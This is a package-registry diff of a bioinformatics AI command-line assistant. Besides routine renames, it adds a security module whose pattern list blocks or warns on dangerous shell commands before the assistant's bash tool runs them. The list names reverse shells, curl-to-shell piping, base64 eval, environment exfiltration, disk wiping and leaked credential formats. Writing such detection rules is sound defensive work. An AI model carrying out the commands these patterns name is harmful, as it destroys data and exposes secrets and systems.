@bgicli/bgicli 2.2.14 → 2.2.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/bgi.js +793 -143
  2. package/package.json +1 -1
package/dist/bgi.js CHANGED
@@ -2092,7 +2092,7 @@ var require_lib2 = __commonJS({
2092
2092
  let accum = [];
2093
2093
  let accumBytes = 0;
2094
2094
  let abort = false;
2095
- return new Body.Promise(function(resolve3, reject) {
2095
+ return new Body.Promise(function(resolve4, reject) {
2096
2096
  let resTimeout;
2097
2097
  if (_this4.timeout) {
2098
2098
  resTimeout = setTimeout(function() {
@@ -2126,7 +2126,7 @@ var require_lib2 = __commonJS({
2126
2126
  }
2127
2127
  clearTimeout(resTimeout);
2128
2128
  try {
2129
- resolve3(Buffer.concat(accum, accumBytes));
2129
+ resolve4(Buffer.concat(accum, accumBytes));
2130
2130
  } catch (err) {
2131
2131
  reject(new FetchError(`Could not create Buffer from response body for ${_this4.url}: ${err.message}`, "system", err));
2132
2132
  }
@@ -2801,7 +2801,7 @@ var require_lib2 = __commonJS({
2801
2801
  throw new Error("native promise missing, set fetch.Promise to your favorite alternative");
2802
2802
  }
2803
2803
  Body.Promise = fetch2.Promise;
2804
- return new fetch2.Promise(function(resolve3, reject) {
2804
+ return new fetch2.Promise(function(resolve4, reject) {
2805
2805
  const request = new Request3(url, opts);
2806
2806
  const options = getNodeRequestOptions(request);
2807
2807
  const send = (options.protocol === "https:" ? https : http).request;
@@ -2934,7 +2934,7 @@ var require_lib2 = __commonJS({
2934
2934
  requestOpts.body = void 0;
2935
2935
  requestOpts.headers.delete("content-length");
2936
2936
  }
2937
- resolve3(fetch2(new Request3(locationURL, requestOpts)));
2937
+ resolve4(fetch2(new Request3(locationURL, requestOpts)));
2938
2938
  finalize();
2939
2939
  return;
2940
2940
  }
@@ -2955,7 +2955,7 @@ var require_lib2 = __commonJS({
2955
2955
  const codings = headers.get("Content-Encoding");
2956
2956
  if (!request.compress || request.method === "HEAD" || codings === null || res.statusCode === 204 || res.statusCode === 304) {
2957
2957
  response = new Response3(body, response_options);
2958
- resolve3(response);
2958
+ resolve4(response);
2959
2959
  return;
2960
2960
  }
2961
2961
  const zlibOptions = {
@@ -2965,7 +2965,7 @@ var require_lib2 = __commonJS({
2965
2965
  if (codings == "gzip" || codings == "x-gzip") {
2966
2966
  body = body.pipe(zlib.createGunzip(zlibOptions));
2967
2967
  response = new Response3(body, response_options);
2968
- resolve3(response);
2968
+ resolve4(response);
2969
2969
  return;
2970
2970
  }
2971
2971
  if (codings == "deflate" || codings == "x-deflate") {
@@ -2977,12 +2977,12 @@ var require_lib2 = __commonJS({
2977
2977
  body = body.pipe(zlib.createInflateRaw());
2978
2978
  }
2979
2979
  response = new Response3(body, response_options);
2980
- resolve3(response);
2980
+ resolve4(response);
2981
2981
  });
2982
2982
  raw.on("end", function() {
2983
2983
  if (!response) {
2984
2984
  response = new Response3(body, response_options);
2985
- resolve3(response);
2985
+ resolve4(response);
2986
2986
  }
2987
2987
  });
2988
2988
  return;
@@ -2990,11 +2990,11 @@ var require_lib2 = __commonJS({
2990
2990
  if (codings == "br" && typeof zlib.createBrotliDecompress === "function") {
2991
2991
  body = body.pipe(zlib.createBrotliDecompress());
2992
2992
  response = new Response3(body, response_options);
2993
- resolve3(response);
2993
+ resolve4(response);
2994
2994
  return;
2995
2995
  }
2996
2996
  response = new Response3(body, response_options);
2997
- resolve3(response);
2997
+ resolve4(response);
2998
2998
  });
2999
2999
  writeToStream(req, request);
3000
3000
  });
@@ -6932,9 +6932,9 @@ var chalkStderr = createChalk({ level: stderrColor ? stderrColor.level : 0 });
6932
6932
  var source_default = chalk;
6933
6933
 
6934
6934
  // src/index.ts
6935
- var import_fs5 = require("fs");
6936
- var import_path5 = require("path");
6937
- var import_os3 = require("os");
6935
+ var import_fs6 = require("fs");
6936
+ var import_path6 = require("path");
6937
+ var import_os4 = require("os");
6938
6938
  var import_https2 = require("https");
6939
6939
  var import_child_process2 = require("child_process");
6940
6940
 
@@ -8372,8 +8372,8 @@ function _addRequestID(value, response) {
8372
8372
  }
8373
8373
  var APIPromise = class _APIPromise extends Promise {
8374
8374
  constructor(responsePromise, parseResponse2 = defaultParseResponse) {
8375
- super((resolve3) => {
8376
- resolve3(null);
8375
+ super((resolve4) => {
8376
+ resolve4(null);
8377
8377
  });
8378
8378
  this.responsePromise = responsePromise;
8379
8379
  this.parseResponse = parseResponse2;
@@ -8948,7 +8948,7 @@ var startsWithSchemeRegexp = /^[a-z][a-z0-9+.-]*:/i;
8948
8948
  var isAbsoluteURL = (url) => {
8949
8949
  return startsWithSchemeRegexp.test(url);
8950
8950
  };
8951
- var sleep = (ms) => new Promise((resolve3) => setTimeout(resolve3, ms));
8951
+ var sleep = (ms) => new Promise((resolve4) => setTimeout(resolve4, ms));
8952
8952
  var validatePositiveInteger = (name, n2) => {
8953
8953
  if (typeof n2 !== "number" || !Number.isInteger(n2)) {
8954
8954
  throw new OpenAIError(`${name} must be an integer`);
@@ -9381,12 +9381,12 @@ var EventStream = class {
9381
9381
  _EventStream_errored.set(this, false);
9382
9382
  _EventStream_aborted.set(this, false);
9383
9383
  _EventStream_catchingPromiseCreated.set(this, false);
9384
- __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve3, reject) => {
9385
- __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve3, "f");
9384
+ __classPrivateFieldSet7(this, _EventStream_connectedPromise, new Promise((resolve4, reject) => {
9385
+ __classPrivateFieldSet7(this, _EventStream_resolveConnectedPromise, resolve4, "f");
9386
9386
  __classPrivateFieldSet7(this, _EventStream_rejectConnectedPromise, reject, "f");
9387
9387
  }), "f");
9388
- __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve3, reject) => {
9389
- __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve3, "f");
9388
+ __classPrivateFieldSet7(this, _EventStream_endPromise, new Promise((resolve4, reject) => {
9389
+ __classPrivateFieldSet7(this, _EventStream_resolveEndPromise, resolve4, "f");
9390
9390
  __classPrivateFieldSet7(this, _EventStream_rejectEndPromise, reject, "f");
9391
9391
  }), "f");
9392
9392
  __classPrivateFieldGet8(this, _EventStream_connectedPromise, "f").catch(() => {
@@ -9470,11 +9470,11 @@ var EventStream = class {
9470
9470
  * const message = await stream.emitted('message') // rejects if the stream errors
9471
9471
  */
9472
9472
  emitted(event) {
9473
- return new Promise((resolve3, reject) => {
9473
+ return new Promise((resolve4, reject) => {
9474
9474
  __classPrivateFieldSet7(this, _EventStream_catchingPromiseCreated, true, "f");
9475
9475
  if (event !== "error")
9476
9476
  this.once("error", reject);
9477
- this.once(event, resolve3);
9477
+ this.once(event, resolve4);
9478
9478
  });
9479
9479
  }
9480
9480
  async done() {
@@ -9627,7 +9627,7 @@ var AssistantStream = class _AssistantStream extends EventStream {
9627
9627
  if (done) {
9628
9628
  return { value: void 0, done: true };
9629
9629
  }
9630
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9630
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
9631
9631
  }
9632
9632
  const chunk = pushQueue.shift();
9633
9633
  return { value: chunk, done: false };
@@ -11245,7 +11245,7 @@ var ChatCompletionStream = class _ChatCompletionStream extends AbstractChatCompl
11245
11245
  if (done) {
11246
11246
  return { value: void 0, done: true };
11247
11247
  }
11248
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11248
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((chunk2) => chunk2 ? { value: chunk2, done: false } : { value: void 0, done: true });
11249
11249
  }
11250
11250
  const chunk = pushQueue.shift();
11251
11251
  return { value: chunk, done: false };
@@ -12896,7 +12896,7 @@ var ResponseStream = class _ResponseStream extends EventStream {
12896
12896
  if (done) {
12897
12897
  return { value: void 0, done: true };
12898
12898
  }
12899
- return new Promise((resolve3, reject) => readQueue.push({ resolve: resolve3, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12899
+ return new Promise((resolve4, reject) => readQueue.push({ resolve: resolve4, reject })).then((event2) => event2 ? { value: event2, done: false } : { value: void 0, done: true });
12900
12900
  }
12901
12901
  const event = pushQueue.shift();
12902
12902
  return { value: event, done: false };
@@ -13605,6 +13605,7 @@ var BGI_DIR = (0, import_path2.join)((0, import_os.homedir)(), ".bgicli");
13605
13605
  var WORKFLOWS_DIR = (0, import_path2.join)(BGI_DIR, "workflows");
13606
13606
  var TOOLS_DIR = (0, import_path2.join)(BGI_DIR, "tools");
13607
13607
  var SKILLS_DIR = (0, import_path2.join)(BGI_DIR, "skills");
13608
+ var DATABASES_FILE = (0, import_path2.join)(BGI_DIR, "databases.json");
13608
13609
  var CONFIG_FILE = (0, import_path2.join)(BGI_DIR, "config.json");
13609
13610
  function ensureDirs() {
13610
13611
  for (const dir of [BGI_DIR, WORKFLOWS_DIR, TOOLS_DIR, SKILLS_DIR]) {
@@ -13636,6 +13637,205 @@ var import_path3 = require("path");
13636
13637
  var import_os2 = require("os");
13637
13638
  var import_https = require("https");
13638
13639
  var import_http = require("http");
13640
+
13641
+ // src/security.ts
13642
+ var PATTERNS = [
13643
+ // ── CRITICAL: always block ─────────────────────────────────────────────────
13644
+ {
13645
+ id: "rm-root",
13646
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\s*$/,
13647
+ level: "CRITICAL",
13648
+ reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)"
13649
+ },
13650
+ {
13651
+ id: "rm-root-star",
13652
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+\/\*/,
13653
+ level: "CRITICAL",
13654
+ reason: "\u5220\u9664\u6839\u76EE\u5F55\u6240\u6709\u5185\u5BB9 (rm -rf /*)"
13655
+ },
13656
+ {
13657
+ id: "rm-home",
13658
+ pattern: /\brm\s+(-[rRf]{1,3}\s+)+(~|\$HOME)\s*$/,
13659
+ level: "CRITICAL",
13660
+ reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~/)"
13661
+ },
13662
+ {
13663
+ id: "fork-bomb",
13664
+ pattern: /:\(\)\s*\{[^}]*:\s*\|\s*:&[^}]*\}/,
13665
+ level: "CRITICAL",
13666
+ reason: "Fork bomb \u2014 \u8017\u5C3D\u7CFB\u7EDF\u8FDB\u7A0B"
13667
+ },
13668
+ {
13669
+ id: "dd-disk",
13670
+ pattern: /\bdd\s+.*if=\/dev\/(zero|random|urandom)\s+.*of=\/dev\/[a-z]/,
13671
+ level: "CRITICAL",
13672
+ reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd if=/dev/zero of=/dev/sd*)"
13673
+ },
13674
+ {
13675
+ id: "mkfs",
13676
+ pattern: /\bmkfs(\.[a-z0-9]+)?\s+\/dev\//,
13677
+ level: "CRITICAL",
13678
+ reason: "\u683C\u5F0F\u5316\u78C1\u76D8\u5206\u533A (mkfs)"
13679
+ },
13680
+ {
13681
+ id: "write-disk-raw",
13682
+ pattern: />\s*\/dev\/sd[a-z][0-9]?(?!\w)/,
13683
+ level: "CRITICAL",
13684
+ reason: "\u76F4\u63A5\u5199\u5165\u88F8\u78C1\u76D8\u8BBE\u5907"
13685
+ },
13686
+ {
13687
+ id: "reverse-shell-bash",
13688
+ pattern: /bash\s+-i\s*>&?\s*\/dev\/tcp\//,
13689
+ level: "CRITICAL",
13690
+ reason: "bash \u53CD\u5F39 shell (bash -i >& /dev/tcp/)"
13691
+ },
13692
+ {
13693
+ id: "reverse-shell-nc",
13694
+ pattern: /\bnc\s+.*-e\s+\/bin\/(ba)?sh/,
13695
+ level: "CRITICAL",
13696
+ reason: "netcat \u53CD\u5F39 shell (nc -e /bin/sh)"
13697
+ },
13698
+ // ── HIGH: warn user ────────────────────────────────────────────────────────
13699
+ {
13700
+ id: "curl-pipe-exec",
13701
+ pattern: /curl\s+[^|]*\|\s*(ba)?sh/,
13702
+ level: "HIGH",
13703
+ reason: "curl \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13704
+ },
13705
+ {
13706
+ id: "wget-pipe-exec",
13707
+ pattern: /wget\s+[^|]*\|\s*(ba)?sh/,
13708
+ level: "HIGH",
13709
+ reason: "wget \u7BA1\u9053\u6267\u884C \u2014 \u8FDC\u7A0B\u4EE3\u7801\u6CE8\u5165\u98CE\u9669"
13710
+ },
13711
+ {
13712
+ id: "eval-base64",
13713
+ pattern: /\beval\s*[\(\$`].*base64/i,
13714
+ level: "HIGH",
13715
+ reason: "eval(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13716
+ },
13717
+ {
13718
+ id: "python-exec-base64",
13719
+ pattern: /python[23]?\s+-c\s+["'].*exec\s*\(.*base64/i,
13720
+ level: "HIGH",
13721
+ reason: "Python exec(base64) \u2014 \u9690\u85CF\u4EE3\u7801\u6267\u884C"
13722
+ },
13723
+ {
13724
+ id: "cred-aws",
13725
+ pattern: /\bAKID[A-Z0-9]{16,}\b|\bAKIA[0-9A-Z]{16}\b/,
13726
+ level: "HIGH",
13727
+ reason: "AWS/\u817E\u8BAF\u4E91 Access Key \u7591\u4F3C\u6CC4\u9732"
13728
+ },
13729
+ {
13730
+ id: "cred-private-key",
13731
+ pattern: /-----BEGIN\s+(RSA|EC|OPENSSH|DSA|ENCRYPTED)\s+PRIVATE KEY-----/,
13732
+ level: "HIGH",
13733
+ reason: "\u79C1\u94A5\u5185\u5BB9\u6CC4\u9732"
13734
+ },
13735
+ {
13736
+ id: "cred-gh-token",
13737
+ pattern: /\bghp_[A-Za-z0-9]{36}\b|\bgho_[A-Za-z0-9]{36}\b/,
13738
+ level: "HIGH",
13739
+ reason: "GitHub Personal Access Token \u6CC4\u9732"
13740
+ },
13741
+ {
13742
+ id: "env-exfil",
13743
+ pattern: /\benv\b[^|]*\|\s*(curl|wget|nc)\b/,
13744
+ level: "HIGH",
13745
+ reason: "\u73AF\u5883\u53D8\u91CF\u901A\u8FC7\u7F51\u7EDC\u6CC4\u9732"
13746
+ },
13747
+ {
13748
+ id: "reverse-shell-python",
13749
+ pattern: /python[23]?\s+-c\s+["'].*socket.*connect.*subprocess/s,
13750
+ level: "HIGH",
13751
+ reason: "Python \u53CD\u5F39 shell"
13752
+ },
13753
+ // ── MEDIUM: warn, allow ────────────────────────────────────────────────────
13754
+ {
13755
+ id: "chmod-777-r",
13756
+ pattern: /\bchmod\s+(-R\s+)?777\s+\//,
13757
+ level: "MEDIUM",
13758
+ reason: "\u9012\u5F52\u8BBE\u7F6E 777 \u6743\u9650\uFF08\u53EF\u80FD\u66B4\u9732\u7CFB\u7EDF\u6587\u4EF6\uFF09"
13759
+ },
13760
+ {
13761
+ id: "setuid-bit",
13762
+ pattern: /\bchmod\s+[uo]\+s\b/,
13763
+ level: "MEDIUM",
13764
+ reason: "\u8BBE\u7F6E setuid/setgid \u4F4D"
13765
+ },
13766
+ {
13767
+ id: "cron-modify",
13768
+ pattern: /\bcrontab\s+-[il]/,
13769
+ level: "MEDIUM",
13770
+ reason: "\u4FEE\u6539 cron \u5B9A\u65F6\u4EFB\u52A1"
13771
+ },
13772
+ {
13773
+ id: "history-clear",
13774
+ pattern: /history\s+-[cw]|>\s*~\/\.bash_history/,
13775
+ level: "MEDIUM",
13776
+ reason: "\u6E05\u9664 shell \u5386\u53F2\u8BB0\u5F55"
13777
+ },
13778
+ {
13779
+ id: "iptables-flush",
13780
+ pattern: /\biptables\s+-F\b/,
13781
+ level: "MEDIUM",
13782
+ reason: "\u6E05\u7A7A\u9632\u706B\u5899\u89C4\u5219 (iptables -F)"
13783
+ },
13784
+ // ── LOW: info only ─────────────────────────────────────────────────────────
13785
+ {
13786
+ id: "curl-insecure",
13787
+ pattern: /\bcurl\s+.*(-k|--insecure)\b/,
13788
+ level: "LOW",
13789
+ reason: "curl \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13790
+ },
13791
+ {
13792
+ id: "wget-no-cert",
13793
+ pattern: /\bwget\s+.*--no-check-certificate\b/,
13794
+ level: "LOW",
13795
+ reason: "wget \u8DF3\u8FC7 TLS \u8BC1\u4E66\u9A8C\u8BC1"
13796
+ },
13797
+ {
13798
+ id: "sudo-usage",
13799
+ pattern: /\bsudo\b/,
13800
+ level: "LOW",
13801
+ reason: "\u4F7F\u7528 sudo \u63D0\u6743"
13802
+ },
13803
+ {
13804
+ id: "nohup-background",
13805
+ pattern: /\bnohup\b.*&\s*$|\bdisown\b/,
13806
+ level: "LOW",
13807
+ reason: "\u540E\u53F0\u9A7B\u7559\u8FDB\u7A0B"
13808
+ }
13809
+ ];
13810
+ function scanCommand(command) {
13811
+ const matches = [];
13812
+ for (const pat of PATTERNS) {
13813
+ const m2 = command.match(pat.pattern);
13814
+ if (m2) {
13815
+ matches.push({ pattern: pat, matchedText: m2[0] });
13816
+ }
13817
+ }
13818
+ const safe = matches.every((m2) => m2.pattern.level !== "CRITICAL");
13819
+ return { safe, matches };
13820
+ }
13821
+ function scanSkillMd(markdownContent) {
13822
+ const bashBlocks = [...markdownContent.matchAll(/```(?:bash|sh)\n([\s\S]*?)```/g)].map((m2) => m2[1]);
13823
+ const allMatches = [];
13824
+ for (const block of bashBlocks) {
13825
+ for (const line of block.split("\n")) {
13826
+ const r2 = scanCommand(line.trim());
13827
+ allMatches.push(...r2.matches);
13828
+ }
13829
+ }
13830
+ return {
13831
+ criticalCount: allMatches.filter((m2) => m2.pattern.level === "CRITICAL").length,
13832
+ highCount: allMatches.filter((m2) => m2.pattern.level === "HIGH").length,
13833
+ mediumCount: allMatches.filter((m2) => m2.pattern.level === "MEDIUM").length,
13834
+ matches: allMatches
13835
+ };
13836
+ }
13837
+
13838
+ // src/tools.ts
13639
13839
  var TOOL_DEFINITIONS = [
13640
13840
  {
13641
13841
  type: "function",
@@ -13806,33 +14006,24 @@ function decodeBuffer(buf) {
13806
14006
  }
13807
14007
  }
13808
14008
  }
13809
- var DANGEROUS_PATTERNS = [
13810
- { pattern: /rm\s+-rf\s+\/(?!\S)/, reason: "\u5220\u9664\u6839\u76EE\u5F55 (rm -rf /)" },
13811
- { pattern: /rm\s+-rf\s+~(?!\S)/, reason: "\u5220\u9664 home \u76EE\u5F55 (rm -rf ~)" },
13812
- { pattern: /rm\s+-rf\s+\$HOME(?!\S)/, reason: "\u5220\u9664 $HOME \u76EE\u5F55" },
13813
- { pattern: /dd\s+if=\/dev\/(?:zero|random|urandom)\s+of=\/dev\//, reason: "\u8986\u5199\u78C1\u76D8\u8BBE\u5907 (dd)" },
13814
- { pattern: /mkfs\b/, reason: "\u683C\u5F0F\u5316\u6587\u4EF6\u7CFB\u7EDF (mkfs)" },
13815
- { pattern: />\s*\/dev\/sd[a-z]/, reason: "\u76F4\u63A5\u5199\u5165\u78C1\u76D8\u8BBE\u5907" },
13816
- { pattern: /chmod\s+-R\s+777\s+\/(?!\S)/, reason: "\u9012\u5F52\u4FEE\u6539\u6839\u76EE\u5F55\u6743\u9650" },
13817
- { pattern: /:\(\)\s*\{.*\}.*:/, reason: "Fork bomb \u68C0\u6D4B" }
13818
- ];
13819
- function checkDangerousCommand(command) {
13820
- for (const { pattern, reason } of DANGEROUS_PATTERNS) {
13821
- if (pattern.test(command)) return reason;
13822
- }
13823
- return null;
13824
- }
13825
14009
  async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13826
- const danger = checkDangerousCommand(command);
13827
- if (danger) {
14010
+ const scan = scanCommand(command);
14011
+ const criticals = scan.matches.filter((m2) => m2.pattern.level === "CRITICAL");
14012
+ if (criticals.length > 0) {
14013
+ const reasons = criticals.map((m2) => m2.pattern.reason).join("\u3001");
13828
14014
  return {
13829
14015
  output: "",
13830
- error: `\u26A0\uFE0F \u5B89\u5168\u62E6\u622A\uFF1A\u68C0\u6D4B\u5230\u5371\u9669\u547D\u4EE4\uFF08${danger}\uFF09\u3002
13831
- \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62\uFF0C\u8BF7\u786E\u8BA4\u4F60\u7684\u610F\u56FE\u540E\u624B\u52A8\u6267\u884C\u3002
13832
- \u88AB\u62E6\u622A\u7684\u547D\u4EE4: ${command}`
14016
+ error: `\u5B89\u5168\u62E6\u622A [CRITICAL]: ${reasons}
14017
+ \u547D\u4EE4\u5DF2\u88AB\u963B\u6B62: ${command}`
13833
14018
  };
13834
14019
  }
13835
- return new Promise((resolve3) => {
14020
+ const highs = scan.matches.filter((m2) => m2.pattern.level === "HIGH");
14021
+ if (highs.length > 0) {
14022
+ const reasons = highs.map((m2) => m2.pattern.reason).join("\u3001");
14023
+ if (onStream) onStream(`\u26A0 \u5B89\u5168\u8B66\u544A [HIGH]: ${reasons}
14024
+ `);
14025
+ }
14026
+ return new Promise((resolve4) => {
13836
14027
  const isWin = process.platform === "win32";
13837
14028
  const child = (0, import_child_process.spawn)(isWin ? "cmd" : "/bin/sh", isWin ? ["/c", command] : ["-c", command], {
13838
14029
  cwd: workdir ?? process.cwd(),
@@ -13864,16 +14055,16 @@ async function toolBash(command, workdir, timeoutMs = 3e5, onStream) {
13864
14055
  clearTimeout(timer);
13865
14056
  const out = (decodeBuffer(Buffer.concat(outChunks)) + "\n" + decodeBuffer(Buffer.concat(errChunks))).trim();
13866
14057
  if (timedOut) {
13867
- resolve3({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
14058
+ resolve4({ output: out, error: `Command timed out after ${timeoutMs / 1e3}s` });
13868
14059
  } else if (code !== 0) {
13869
- resolve3({ output: out, error: `Command failed (exit ${code})` });
14060
+ resolve4({ output: out, error: `Command failed (exit ${code})` });
13870
14061
  } else {
13871
- resolve3({ output: out });
14062
+ resolve4({ output: out });
13872
14063
  }
13873
14064
  });
13874
14065
  child.on("error", (err) => {
13875
14066
  clearTimeout(timer);
13876
- resolve3({ output: "", error: err.message });
14067
+ resolve4({ output: "", error: err.message });
13877
14068
  });
13878
14069
  });
13879
14070
  }
@@ -13911,11 +14102,11 @@ async function toolSearchFiles(pattern, rootPath) {
13911
14102
  return toolBash(command, resolved, 1e4);
13912
14103
  }
13913
14104
  function httpFetch(url, timeoutMs = 15e3) {
13914
- return new Promise((resolve3, reject) => {
14105
+ return new Promise((resolve4, reject) => {
13915
14106
  const getter = url.startsWith("https") ? import_https.get : import_http.get;
13916
14107
  const req = getter(url, { headers: { "User-Agent": "BGI-CLI/1.0" } }, (res) => {
13917
14108
  if ((res.statusCode === 301 || res.statusCode === 302) && res.headers.location) {
13918
- httpFetch(res.headers.location, timeoutMs).then(resolve3).catch(reject);
14109
+ httpFetch(res.headers.location, timeoutMs).then(resolve4).catch(reject);
13919
14110
  return;
13920
14111
  }
13921
14112
  if (res.statusCode && res.statusCode >= 400) {
@@ -13924,7 +14115,7 @@ function httpFetch(url, timeoutMs = 15e3) {
13924
14115
  }
13925
14116
  const chunks = [];
13926
14117
  res.on("data", (c2) => chunks.push(c2));
13927
- res.on("end", () => resolve3(Buffer.concat(chunks).toString("utf8")));
14118
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString("utf8")));
13928
14119
  res.on("error", reject);
13929
14120
  });
13930
14121
  req.setTimeout(timeoutMs, () => {
@@ -14027,7 +14218,7 @@ ${shortSummary}`);
14027
14218
  }
14028
14219
 
14029
14220
  // src/chat.ts
14030
- async function chat(messages, config, systemPrompt) {
14221
+ async function chat(messages, config, systemPrompt2) {
14031
14222
  const prov = PROVIDERS[config.provider];
14032
14223
  if (!prov) throw new Error(`Unknown provider: ${config.provider}`);
14033
14224
  if (config.provider === "custom") {
@@ -14041,7 +14232,7 @@ async function chat(messages, config, systemPrompt) {
14041
14232
  if (requiresKey && !apiKey) throw new Error(`\u672A\u914D\u7F6E API Key (${config.provider})\u3002\u8FD0\u884C: /connect`);
14042
14233
  const client = new openai_default({ apiKey: apiKey || "none", baseURL });
14043
14234
  const fullMessages = [
14044
- { role: "system", content: systemPrompt },
14235
+ { role: "system", content: systemPrompt2 },
14045
14236
  ...messages
14046
14237
  ];
14047
14238
  return await streamLoop(client, fullMessages, config.model);
@@ -14281,7 +14472,7 @@ function summarizeArgs(args) {
14281
14472
  }
14282
14473
 
14283
14474
  // src/prompt.ts
14284
- function buildSystemPrompt() {
14475
+ function buildSystemPrompt(dbSection) {
14285
14476
  return `You are **BGI CLI**, a specialized bioinformatics AI assistant built for Chinese biological researchers. You run inside a terminal and can execute code, read/write files, and run bash commands to help with real bioinformatics analysis tasks.
14286
14477
 
14287
14478
  ## Core Identity
@@ -14386,6 +14577,14 @@ Python tools are at: **${TOOLS_DIR}**
14386
14577
 
14387
14578
  ---
14388
14579
 
14580
+ ## \u53C2\u8003\u6570\u636E\u5E93 & \u7D22\u5F15
14581
+
14582
+ ${dbSection ?? "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09"}
14583
+
14584
+ **\u4F7F\u7528\u539F\u5219**\uFF1A\u5206\u6790\u65F6\u4F18\u5148\u4F7F\u7528\u5DF2\u6CE8\u518C\u7684\u672C\u5730\u6570\u636E\u5E93\u8DEF\u5F84\uFF0C\u65E0\u9700\u91CD\u590D\u4E0B\u8F7D\u3002\u8DEF\u5F84\u5E26 \u26A0 \u8868\u793A\u6587\u4EF6\u5DF2\u4E0D\u5B58\u5728\uFF0C\u9700\u91CD\u65B0\u786E\u8BA4\u3002
14585
+
14586
+ ---
14587
+
14389
14588
  ## OpenClaw Medical Skills (979\u4E2A\u4E13\u79D1\u6280\u80FD)
14390
14589
 
14391
14590
  \u6280\u80FD\u5E93\u4F4D\u4E8E: **${SKILLS_DIR}**
@@ -14538,6 +14737,273 @@ message(sprintf("\u603B\u57FA\u56E0\u6570: %d | \u663E\u8457 DEG: %d (\u4E0A\u8C
14538
14737
  \u2192 \u7ACB\u5373\u8C03\u7528 fetch_geo("GSE12345") \u83B7\u53D6\u5143\u6570\u636E\u548C\u4E0B\u8F7D\u4EE3\u7801\uFF0C\u65E0\u9700\u8BA9\u7528\u6237\u624B\u52A8\u4E0B\u8F7D`;
14539
14738
  }
14540
14739
 
14740
+ // src/databases.ts
14741
+ var import_fs4 = require("fs");
14742
+ var import_path4 = require("path");
14743
+ var import_os3 = require("os");
14744
+ function loadDbRegistry() {
14745
+ if (!(0, import_fs4.existsSync)(DATABASES_FILE)) {
14746
+ return { version: 1, lastScan: null, databases: {} };
14747
+ }
14748
+ try {
14749
+ return JSON.parse((0, import_fs4.readFileSync)(DATABASES_FILE, "utf8"));
14750
+ } catch {
14751
+ return { version: 1, lastScan: null, databases: {} };
14752
+ }
14753
+ }
14754
+ function saveDbRegistry(registry) {
14755
+ (0, import_fs4.writeFileSync)(DATABASES_FILE, JSON.stringify(registry, null, 2), "utf8");
14756
+ }
14757
+ function addDbEntry(registry, entry) {
14758
+ const id = entry.id ?? slugify(`${entry.genome}-${entry.type}-${Date.now()}`);
14759
+ const full = { ...entry, id, addedAt: (/* @__PURE__ */ new Date()).toISOString() };
14760
+ registry.databases[id] = full;
14761
+ return full;
14762
+ }
14763
+ function removeDbEntry(registry, id) {
14764
+ if (!registry.databases[id]) return false;
14765
+ delete registry.databases[id];
14766
+ return true;
14767
+ }
14768
+ function slugify(s2) {
14769
+ return s2.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
14770
+ }
14771
+ var FILE_PATTERNS = [
14772
+ // Reference FASTA
14773
+ { regex: /\bhg38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14774
+ { regex: /\bGRCh38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg38" },
14775
+ { regex: /\bhg19\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14776
+ { regex: /\bGRCh37\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "hg19" },
14777
+ { regex: /\bmm10\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14778
+ { regex: /\bGRCm38\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm10" },
14779
+ { regex: /\bmm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14780
+ { regex: /\bGRCm39\b.*\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "mm39" },
14781
+ { regex: /\.f(ast)?a(\.gz)?$/i, type: "fasta", genome: "other" },
14782
+ // GTF / GFF
14783
+ { regex: /\bhg38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14784
+ { regex: /\bGRCh38\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg38" },
14785
+ { regex: /\bhg19\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "hg19" },
14786
+ { regex: /\bmm10\b.*\.gtf(\.gz)?$/i, type: "gtf", genome: "mm10" },
14787
+ { regex: /\.gtf(\.gz)?$/i, type: "gtf", genome: "other" },
14788
+ { regex: /\.gff3?(\.gz)?$/i, type: "gff3", genome: "other" },
14789
+ // VCF databases
14790
+ { regex: /dbsnp.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14791
